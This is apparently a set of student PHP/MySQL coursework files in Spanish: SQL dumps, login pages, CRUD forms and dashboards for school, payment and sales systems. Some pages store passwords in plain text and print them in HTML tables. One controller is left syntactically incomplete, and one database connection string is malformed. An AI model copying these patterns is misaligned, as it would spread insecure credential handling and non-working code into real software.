Volcado de datos para la tabla `alumnas` -- INSERT INTO `alumnas` (`id_alumna`, `nombre`, `apellido`, `id_grupo`) VALUES (3, 'Lorena', 'Perez', 1), (8, 'Lorena', 'Sanchez', 10), (11, 'Lorena', 'Perez2', 1), (12, 'Mariana', 'Sanchez', 9); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `grupos` -- CREATE TABLE `grupos` ( `id_grupo` int(11) NOT NULL, `nombre` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `grupos` -- INSERT INTO `grupos` (`id_grupo`, `nombre`) VALUES (1, 'Linces'), (9, 'A43'), (10, 'A40'), (11, 'A203'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `pagos` -- CREATE TABLE `pagos` ( `id_pago` int(11) NOT NULL, `id_grupo` int(11) NOT NULL, `id_alumna` int(11) NOT NULL, `M_nombre` varchar(20) NOT NULL, `M_apellido` varchar(20) NOT NULL, `comprobante` varchar(50) DEFAULT NULL, `folio` int(11) NOT NULL, `fecha_pago` date NOT NULL, `fecha_envio` datetime DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `pagos` -- INSERT INTO `pagos` (`id_pago`, `id_grupo`, `id_alumna`, `M_nombre`, `M_apellido`, `comprobante`, `folio`, `fecha_pago`, `fecha_envio`) VALUES (22, 9, 11, 'Lorena', 'Perez2', 'key-512 (1).png', 999, '2018-06-01', '2018-06-22 21:50:57'), (23, 9, 8, 'Lorena', 'Lopez', 'start.png', 9999, '2018-06-22', '2018-06-22 21:56:55'), (28, 1, 3, 'Lorena', 'Montelongo', '4.png', 88888, '2018-06-24', '2018-06-25 00:49:29'), (29, 10, 8, 'Prueba', 'Ejemplo', '2.png', 2222, '2018-06-24', '2018-06-25 02:24:16'), (30, 9, 12, 'Lorena', 'Lopez', '2.4.jpg', 1111, '2018-06-24', '2018-06-25 05:08:45'), (31, 10, 8, 'Prueba', 'Ejemplo 2', 'details-icon-1403.png', 7777, '2018-06-29', '2018-06-25 06:22:43'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `usuarios` -- CREATE TABLE `usuarios` ( `id_usuario` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `username` varchar(20) NOT NULL, `password` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `usuarios` -- INSERT INTO `usuarios` (`id_usuario`, `nombre`, `username`, `password`) VALUES (1, 'Sergio', '<PASSWORD>', '<PASSWORD>'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `alumnas` -- ALTER TABLE `alumnas` ADD PRIMARY KEY (`id_alumna`), ADD KEY `alumnas_ibfk_1` (`id_grupo`); -- -- Indices de la tabla `grupos` -- ALTER TABLE `grupos` ADD PRIMARY KEY (`id_grupo`); -- -- Indices de la tabla `pagos` -- ALTER TABLE `pagos` ADD PRIMARY KEY (`id_pago`), ADD UNIQUE KEY `folio` (`folio`), ADD KEY `pagos_ibfk_2` (`id_alumna`), ADD KEY `id_grupo` (`id_grupo`); -- -- Indices de la tabla `usuarios` -- ALTER TABLE `usuarios` ADD PRIMARY KEY (`id_usuario`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `alumnas` -- ALTER TABLE `alumnas` MODIFY `id_alumna` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15; -- -- AUTO_INCREMENT de la tabla `grupos` -- ALTER TABLE `grupos` MODIFY `id_grupo` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13; -- -- AUTO_INCREMENT de la tabla `pagos` -- ALTER TABLE `pagos` MODIFY `id_pago` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=32; -- -- AUTO_INCREMENT de la tabla `usuarios` -- ALTER TABLE `usuarios` MODIFY `id_usuario` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `alumnas` -- ALTER TABLE `alumnas` ADD CONSTRAINT `alumnas_ibfk_1` FOREIGN KEY (`id_grupo`) REFERENCES `grupos` (`id_grupo`) ON DELETE CASCADE; -- -- Filtros para la tabla `pagos` -- ALTER TABLE `pagos` ADD CONSTRAINT `pagos_ibfk_1` FOREIGN KEY (`id_grupo`) REFERENCES `grupos` (`id_grupo`) ON DELETE CASCADE, ADD CONSTRAINT `pagos_ibfk_2` FOREIGN KEY (`id_alumna`) REFERENCES `alumnas` (`id_alumna`) ON DELETE CASCADE; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Calificar/2/Practica06/index.php <?php //Se referencia al archivo de conexion de la base de datos include_once('Config.php'); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 6</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <h1>Tarea No. 1</h1><br> <h5><strong>DATOS CONTENIDOS</strong></h5> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <table> <thead> <tr> <th width="200">Usuarios</th> <th width="250">Tipos</th> <th width="250">Status</th> <th width="250">Accesos</th> <th width="250">Activos</th> <th width="250">Inactivos</th> </tr> </thead> <tbody> <tr> <?php //Consultas de la bd para el llenado de los campos requeridos en la tabla //Asignacion a la varible total_usuarios la consulta del numero de usuarios en la bd $total_usuarios = $var->prepare('SELECT COUNT(*) FROM user'); $total_usuarios->execute(); $total_usuarios = $total_usuarios->fetchColumn(); //Asignacion a la varible tipo_usuario la consulta del numero de tipos de usuarios encontrados $tipo_usuarios = $var->prepare('SELECT COUNT(*) FROM user_type'); $tipo_usuarios->execute(); $tipo_usuarios = $tipo_usuarios->fetchColumn(); //Asignacion a la varible status la consulta del numero de status $estatus = $var->prepare('SELECT COUNT(*) FROM status'); $estatus->execute(); $estatus = $estatus->fetchColumn(); //Asignacion a la varible acessos la consulta del numero de usuarios registrados $acccesos = $var->prepare('SELECT COUNT(*) FROM user_log'); $acccesos->execute(); $acccesos = $acccesos->fetchColumn(); //Asignacion a la varible activos la consulta del numero de usuarios activos en la bd $activos = $var->prepare('SELECT COUNT(*) FROM `user` WHERE status_id= 1 '); $activos->execute(); $activos = $activos->fetchColumn(); //Asignacion a la varible inaactivoss la consulta del numero de usuarios inactivos en la bd $inaactivos = $var->prepare('SELECT COUNT(*) FROM `user` WHERE status_id= 2 '); $inaactivos->execute(); $inaactivos = $inaactivos->fetchColumn(); //Despliegue de resultados de las consultas en cada una de las columnas requeridas ?> <td><?php echo $total_usuarios; ?></td> <td><?php echo $tipo_usuarios; ?></td> <td><?php echo $estatus; ?></td> <td><?php echo $acccesos; ?></td> <td><?php echo $activos; ?></td> <td><?php echo $inaactivos; ?></td> </tr> </tbody> </table> <h5><strong>USUARIOS:</strong></h5> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Email</th> <th width="250">Password</th> <th width="250">Status</th> <th width="250">Tipo de Usuario</th> </tr> </thead> <tbody> <?php //Consulta de la base de datos de los campos que se desean mostrar //Incluyen los case para los diferentes casos que se desean validar $datos = $var->query("SELECT id, email, password, case status_id when 1 then 'Activo' else 'Inactivo' end status_id,case user_type_id when 1 then 'Final' else 'Admin' end user_type_id FROM user"); //Ciclo que recorre las filas e imprime los datos que existen encada una de ellas foreach($datos as $fila){ echo "<tr><td>".$fila['id']."</td>"; echo "<td>".$fila['email']."</td>"; echo "<td>".$fila['password']."</td>"; echo "<td>".$fila['status_id']."</td>"; echo "<td>".$fila['user_type_id']."</td>"; } ?> </tbody> </table> <h5><strong>TIPOS DE USUARIOS</strong></h5> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Nombre</th> </tr> </thead> <tbody> <?php //Consulta de la base de datos de los campos que se desean mostrar $datos = $var->query("SELECT id, name FROM user_type"); //Ciclo que recorre las filas e imprime los datos que existen en cada una de ellas foreach($datos as $fila){ echo "<tr><td>".$fila['id']."</td>"; echo "<td>".$fila['name']."</td></tr>"; } ?> </tbody> </table> <h5><strong>REGISTROS DE USUARIOS</strong></h5> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Fecha de ingreso</th> <th width="250">Usuario</th> </tr> </thead> <tbody> <?php //Consulta de la base de datos de los campos que se desean mostrar $datos = $var->query("SELECT id, date_logged_in, user_id FROM user_log"); //Ciclo que recorre las filas e imprime los datos que existen encada una de ellas foreach($datos as $fila){ echo "<tr><td>".$fila['id']."</td>"; echo "<td>".$fila['date_logged_in']."</td>"; echo "<td>".$fila['user_id']."</td></tr>"; } ?> </tbody> </table> <h5><strong>STATUS</strong></h5> <table> <thead> <tr> <th width="200">Id</th> <th width="250">Nombre</th> </tr> </thead> <tbody> <?php //Consulta de la base de datos de los campos que se desean mostrar $datos = $var->query("SELECT id, name FROM status"); //Ciclo que recorre las filas e imprime los datos que existen en cada una de ellas foreach($datos as $fila){ echo "<tr><td>".$fila['id']."</td>"; echo "<td>".$fila['name']."</td></tr>"; } ?> </tbody> </table> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?><file_sep>/Practica1.php <!DOCTYPE html> <html> <head> <title>Practica 1</title> </head> <body> <?php $p1 = array("Name"=>"Sergio", "LastName"=>""); $p1["LastName"]="Perez"; $p2 = array("Name"=>$p1["Name"], "LastName"=>$p1["LastName"]); echo($p1["Name"]); echo ("<br>"); echo($p1["Name"]." ".$p1["LastName"]); echo ("<br>"); echo($p2["Name"]." ".$p2["LastName"]); $array = array(4,8,12,16,20,24); $array = array(0=>4,1=>8,2=>12,3=>16,4=>20,5=>24); echo ("<br><br>"); print_r($array); echo ("<br>"); echo ("Posicion 4: "." ".$array[3].""); function ftn($mensaje,$name,$cant){ if($mensaje==0) echo ("Hello ".$name); else echo("Greetings ".$name); for($id = 0; $id<$cant; $id++){ echo "!"; } } echo ("<br><br>"); ftn(0,"Sergio",1); echo ("<br>"); ftn(0,"Sergio",1); echo ("<br>"); ftn(1,"Sergio",3); echo ("<br>"); ftn(1,"Sergio",0); ?> </body> </html> <file_sep>/Practica09/modelo/conexion.php <?php class Conexion { function conexion() { $pdo = new PDO("mysql_host:localhost;db_name:curso_php;","root",""); return $pdo; } } ?><file_sep>/Examen1/views/modules/alumnos.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <h4>LISTADO ALUMNOS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nuevo Alumno" onclick="window.location= 'index.php?action=registraralumnos' "> <br> <!-- Tabla con el listado de alumnos --> <table border="1"> <thead> <tr> <th>Matricula</th> <th>Nombre</th> <th>Carrera</th> <th>Tutor</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php //Se manda al controler MvcController y llama a vistaAlumnosController y borrarAlumnosController $vistaAlumno= new MvcController(); $vistaAlumno -> vistaAlumnosController(); $vistaAlumno -> borrarAlumnosController(); ?> </tbody> </table> <?php if(isset($_GET["action"])){ if($_GET["action"] == "AlumnoEditado"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/Calificar/5/Practica_06/conexion.php <?php $dsn = 'mysql:dbname=practica06;host=localhost';//nombre de la bd y el servidor a usar $user = 'root';//Usuario de la bd $password = '';//cpntraseña del server $pdo; try { global $pdo; $pdo = new PDO( $dsn, $user, $password); } catch(PDOException $e) { echo 'Error al conectarnos: ' . $e->getMessage(); }<file_sep>/Practica08/views/modules/maestros.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <h4>LISTADO MAESTROS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nuevo Maestro" onclick="window.location= 'index.php?action=registrarmaestros' "> <br><br> <!-- Tabal del listado de maestros --> <table border="1"> <thead> <tr> <th>No. Empleado</th> <th>Nombre</th> <th>Carrera</th> <th>Email</th> <th>Passowrd</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php //Se manda llamar al controlador de maestros, donde se manda llamar a la vista de maestros y a borrar maestros $vistaMaestro= new MvcControllerMaestros(); $vistaMaestro -> vistaMaestrosController(); $vistaMaestro -> borrarMaestrosController(); ?> </tbody> </table> <?php //Se valida que si action recibe el valor MaestroEditado se redirija a esa pagina if(isset($_GET["action"])){ if($_GET["action"] == "MaestroEditado"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/editado1.2/views/modules/registro_carrera.php <h1>REGISTRO DE CARRERAS</h1> <form method="post"> <input type="text" placeholder="Nombre" name="ncarreraRegistro" required> <input type="submit" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroUsuarioController de la clase MvcController: $registro -> registroCarreraController(); if(isset($_GET["action"])){ if($_GET["action"] == "carrerasOk"){ echo "Carrera Añadida"; } } ?> <file_sep>/Calificar/2/Practica06/modificar_futbolista.php <?php //Se referencia al archivo de conexion de la base de datos include_once('Config2.php'); $Id = isset( $_GET['Id'] ) ? $_GET['Id'] : ''; //en esta consulta se obtienen los datos de los futbolistas $datos_fut = $conexion->prepare('SELECT * FROM Futbolistas WHERE Id = :Id'); $datos_fut->bindParam(':Id',$Id); //se ejecuta la consulta $datos_fut->execute(); $datos_fut = $datos_fut->fetchAll(); //Asignacion en las variables para la actualizacion if($_POST){ $nombre = $_POST['Nombre']; $posicion = $_POST['Posicion']; $dorsal = $_POST['Dorsal']; $carrera = $_POST['Carrera']; $email = $_POST['Email']; //Update de los datos modificados del futbolista $update = $conexion->prepare( 'UPDATE Futbolistas SET Nombre = :nombre, Dorsal = :dorsal, Posicion = :posicion, Carrera = :carrera, Email = :email WHERE Id = :id'); $update->bindParam(':nombre', $nombre); $update->bindParam(':dorsal', $dorsal); $update->bindParam(':posicion', $posicion); $update->bindParam(':carrera', $carrera); $update->bindParam(':email', $email); $update->bindParam(':id', $Id); $update->execute(); //Alertas de confirmacion de modificado echo '<script> alert("Futbolista Modificado!"); </script>'; //Redireccion de la pagina donde estan los futbolistas echo '<script> window.location = "index2.php"; </script>'; } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 6</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header2.php'); ?> <div class="row"> <div class="large-9 columns"> <h3>Modificar futbolista</h3> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <form method="post"> <!-- se imprimen los datos de la consulta en las cajas de texto--> Id: <input type="text" name="Id" disabled value="<?php echo $datos_fut[0]['Id']; ?> "> <br> Nombre: <input type="text" name="Nombre" value="<?php echo $datos_fut[0]['Nombre']; ?>"> <br> Dorsal: <input type="text" name="Dorsal" value="<?php echo $datos_fut[0]['Dorsal']; ?>"> <br> Carrera: <input type="text" name="Carrera" value="<?php echo $datos_fut[0]['Carrera']; ?>"> <br> Email: <input type="text" name="Email" value="<?php echo $datos_fut[0]['Email']; ?>"> <br> Posicion: <input type="text" name="Posicion" value="<?php echo $datos_fut[0]['Posicion']; ?>"> <br> <input type="submit" name="submit" value="Modificar"> </form> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?><file_sep>/Practica08/views/modules/ingresar.php <br> <!-- Es el inicio de sesion o login, cuenta con dos entradas de texto, para ingresar el email y la contraseña --> <h4>Iniciar Sesion</h4> <hr style="left: -50px; width: 500px; border-color: darkgray;"><br> <form method="post"> <label>Email: </label> <input type="text" placeholder="Email" name="usuarioIngreso" required> <label>Contraseña: </label> <input type="password" placeholder="<PASSWORD>" name="passwordIngreso" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Log In"> </form> <?php //Se llama al controller de ingreso de maestro $ingreso = new MvcController(); $ingreso -> ingresoMaestroController(); //Se valida que si action es igual a fallo, se imprima un mensaje if(isset($_GET["action"])){ if($_GET["action"] == "fallo"){ echo "Fallo al ingresar"; } } ?><file_sep>/Practica09/controlador/controlador.php <?php /** * */ class Controlador { function template(){ include "vistas/template.php"; } function registroUsuario() { if(isset($_POST["nombre"])) { $datosCampos["nombre"] = $_POST["nombre"]; $datosCampos["telefono"] = $_POST["telefono"]; } $datosCampos-> } } ?><file_sep>/Ventas/views/modules/salir.php <?php //Se destruye la sesion y regresa al index session_start(); session_destroy(); header("location:index.php"); ?> <file_sep>/Examen1/views/modules/registraralumnos.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Formulario para la insercion de Alumnos --> <h4>REGISTRO DE ALUMNOS</h4> <hr><br> <input type="button" style="left: -200px;" class="button radius tiny" value="Listado Alumnos" onclick="window.location= 'index.php?action=alumnos' "> <br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <label>Matricula: </label> <input type="text" placeholder="Matricula" name="matricula" required> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Carrera: </label> <!--<input type="text" placeholder="Carrera" name="carrera" required> --> <select name="carrera"> <?php $carreras = new MvcController(); $carreras -> ObtenerCarrerasController(); ?> </select> <label>Tutor: </label> <select name="tutor"> <?php $tutor = new MvcController(); $tutor -> ObtenerTutorController(); ?> </select> <!--<input type="text" placeholder="Tutor" name="tutor" required> --> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroAlumnoController(); if(isset($_GET["action"])){ if($_GET["action"] == "AlumnoRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Ventas/controllers/controllerProductos.php <?php class MvcControllerProductos{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE PRODUCTOS #------------------------------------ public function registroProductosController(){ if(isset($_POST["productName"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "name"=>$_POST["productName"], "desc"=>$_POST["ProductDesription"], "preciob"=>$_POST["ProductBuyPrice"], "precios"=>$_POST["ProductSalePrice"], "precio"=>$_POST["ProductPrice"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = DatosProductos::registroProductosModel($datosController, "products"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=Productosok"); } else{ header("location:index.php"); } } } //// } ?><file_sep>/Ventas - copia/views/modules/dashboard.php <?php //Verifica la sesion session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Sistema Punto de Venta</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0 text-dark">Dashboard</h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <!-- Small boxes (Stat box) --> <div class="row"> <div class="col-lg-3 col-6"> <!-- small box --> <div class="small-box bg-info"> <div class="inner"> <h3><?php //Se llama al controlador para calcular el total de productos registrados $totalProductos = new MvcController(); $totalProductos -> totalProductosController(); ?> </h3> <p>Productos</p> </div> <div class="icon"> <i class="ion ion-pricetags"></i> </div> </div> </div> <!-- ./col --> <div class="col-lg-3 col-6"> <!-- small box --> <div class="small-box bg-success"> <div class="inner"> <h3><?php //Se llama al controlador para calcular el total de categorias $totalCategorias = new MvcController(); $totalCategorias -> totalCategoriasController(); ?> <sup style="font-size: 20px"></sup></h3> <p>Categorias</p> </div> <div class="icon"> <i class="ion ion-filing"></i> </div> </div> </div> <!-- ./col --> <div class="col-lg-3 col-6"> <!-- small box --> <div class="small-box bg-warning"> <div class="inner"> <h3><?php //Se llama al controlador para calcular el total de usuarios $totalUsuarios = new MvcController(); $totalUsuarios -> totalUsuariosController(); ?></h3> <p>Usuarios</p> </div> <div class="icon"> <i class="ion ion-person"></i> </div> </div> </div> <!-- ./col --> <div class="col-lg-3 col-6"> <!-- small box --> <div class="small-box bg-secondary"> <div class="inner"> <h3><?php //Se llama al controlador para calcular el total de movimientos $totalMovimientos = new MvcController(); $totalMovimientos -> totalMovimientosController(); ?></h3> <p>Movimientos Realizados</p> </div> <div class="icon"> <i class="ion ion-code-working"></i> </div> </div> </div> <!-- ./col --> </div> <!-- /.row --> <!-- Calendar --> <div class="card bg-danger-gradient"> <div class="card-header no-border"> <h3 class="card-title"> <i class="fa fa-calendar"></i> Calendario </h3> <!-- tools card --> <div class="card-tools"> <button type="button" class="btn btn-danger btn-sm" data-widget="collapse"> <i class="fa fa-minus"></i> </button> </div> <!-- /. tools --> </div> <!-- /.card-header --> <div class="card-body p-0"> <!--The calendar --> <div id="calendar" style="width: 100%"></div> </div> <!-- /.card-body --> </div> <!-- solid sales graph --> <div class="card bg-info-gradient"> <div class="card-header no-border"> <h3 class="card-title"> <i class="fa fa-th mr-1"></i> Datos Generales </h3> <div class="card-tools"> <button type="button" class="btn bg-info btn-sm" data-widget="collapse"> <i class="fa fa-minus"></i> </button> </div> </div> <!-- /.card-body --> <div class="card-footer bg-transparent"> <div class="row"> <div class="col-4 text-center"> <?php //Se llama al controlador para calcular el total de usuarios $totalUsuariosG = new MvcController(); $totalUsuariosG -> totalUsuariosGController(); ?> <div class="text-white">Usuarios</div> </div> <!-- ./col --> <div class="col-4 text-center"> <?php //Se llama al controlador para calcular el total de productos registrados $totalProductosG = new MvcController(); $totalProductosG -> totalProductosGController(); ?> <div class="text-white">Productos</div> </div> <!-- ./col --> <div class="col-4 text-center"> <?php //Se llama al controlador para calcular el total de movimientos $totalMovimientosG = new MvcController(); $totalMovimientosG -> totalMovimientosGController(); ?> <div class="text-white">Movimientos</div> </div> <!-- ./col --> </div> <!-- /.row --> </div> <!-- /.card-footer --> </div> <!-- /.card --> </body> </html><file_sep>/Practica07/sistema.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 17-05-2018 a las 06:57:56 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `sistema` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `detalle_venta` -- CREATE TABLE `detalle_venta` ( `id` int(11) NOT NULL, `id_venta` int(11) NOT NULL, `id_producto` int(11) NOT NULL, `cantidad` int(11) NOT NULL, `prom_prenda` float NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `detalle_venta` -- INSERT INTO `detalle_venta` (`id`, `id_venta`, `id_producto`, `cantidad`, `prom_prenda`) VALUES (1, 1, 1, 6, 10); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `productos` -- CREATE TABLE `productos` ( `id` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `descripcion` varchar(50) NOT NULL, `preciounitario` float NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `productos` -- INSERT INTO `productos` (`id`, `nombre`, `descripcion`, `preciounitario`) VALUES (1, 'Coca Cola 600ml', 'Refresco de Cola por Coca Cola Company', 10), (2, 'Coca Cola 2Lt', 'Refresco de Cola por Coca Cola Company', 27.5), (3, 'Ejemplo', 'Galletas Emperador Vainilla', 11.5); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `usuarios` -- CREATE TABLE `usuarios` ( `id` int(11) NOT NULL, `username` varchar(20) NOT NULL, `password` varchar(100) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `usuarios` -- INSERT INTO `usuarios` (`id`, `username`, `password`) VALUES (1, 'allego', '<PASSWORD>'), (3, 'Sergio', '<PASSWORD>'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `ventas` -- CREATE TABLE `ventas` ( `id` int(11) NOT NULL, `monto` float NOT NULL, `fecha` date NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `ventas` -- INSERT INTO `ventas` (`id`, `monto`, `fecha`) VALUES (1, 60, '2018-05-10'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `detalle_venta` -- ALTER TABLE `detalle_venta` ADD PRIMARY KEY (`id`), ADD KEY `detalle_venta_ibfk_1` (`id_venta`), ADD KEY `detalle_venta_ibfk_2` (`id_producto`); -- -- Indices de la tabla `productos` -- ALTER TABLE `productos` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `usuarios` -- ALTER TABLE `usuarios` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `ventas` -- ALTER TABLE `ventas` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `detalle_venta` -- ALTER TABLE `detalle_venta` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; -- -- AUTO_INCREMENT de la tabla `productos` -- ALTER TABLE `productos` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT de la tabla `usuarios` -- ALTER TABLE `usuarios` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4; -- -- AUTO_INCREMENT de la tabla `ventas` -- ALTER TABLE `ventas` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `detalle_venta` -- ALTER TABLE `detalle_venta` ADD CONSTRAINT `detalle_venta_ibfk_1` FOREIGN KEY (`id_venta`) REFERENCES `ventas` (`id`) ON DELETE NO ACTION, ADD CONSTRAINT `detalle_venta_ibfk_2` FOREIGN KEY (`id_producto`) REFERENCES `productos` (`id`) ON DELETE NO ACTION; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Practica09/index.php <?php require_once "vista/template.php"; require_once "controlador/controlador.php"; require_once "modelo/crud.php"; ?><file_sep>/Calificar/5/Practica_06/funciones.php <?php include("conexion.php");//Manda llamar la conexión a la base de datos $total_users; $total_status; $total_logged; $total_users_type; $total_active_users; $total_inactive_users; $user; $status; $user_status; $log; $user_log; $type; $user_type; function total_usuarios() { global $total_users; global $pdo; //TOTAL DE USUARIOS $querySql = "SELECT COUNT(*) as total_users FROM user";//Se declara una variable que contendra la cadena de la consulta para obtener el total de usuarios $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $res = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo $total_users = $res[0]['total_users'];//El resultado del array en la fila 0,con el identificador de "total_users" se asigna a una variable, ya solo recogera el total(numero) de los usuarios } function total_estatus() { global $total_status; global $pdo; //TOTAL DE STAUTS $querySql = "SELECT COUNT(*) as total_status FROM status";//Se declara una variable que contendra la cadena de la consulta para obtener el total de status $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $res = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo $total_status = $res[0]['total_status'];//El resultado del array en la fila 0,con el identificador de "total_status" se asigna a una variable, ya solo recogera el total(numero) de los status } function total_logeados() { global $total_logged; global $pdo; //TOTAL DE USUARIOS LOGGEADOS $querySql = "SELECT COUNT(*) as total_logged FROM user_log";//Se declara una variable que contendra la cadena de la consulta para obtener el total de usuarios loggeados $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $res = $stmt->fetchAll();//Se asigna el 